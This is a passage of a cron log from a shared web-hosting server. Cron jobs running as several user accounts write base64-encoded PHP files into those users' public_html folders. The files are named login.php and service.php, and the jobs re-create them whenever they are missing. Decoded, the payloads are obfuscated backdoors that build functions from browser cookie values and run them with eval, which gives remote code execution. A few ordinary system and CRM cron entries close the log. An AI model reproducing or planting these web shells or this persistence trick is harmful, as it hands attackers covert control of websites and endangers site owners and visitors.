bnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:51:02 medusa CROND[3928]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:51:02 medusa CROND[3933]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:51:02 medusa CROND[3932]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:51:02 medusa CROND[3935]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:51:02 medusa CROND[3940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)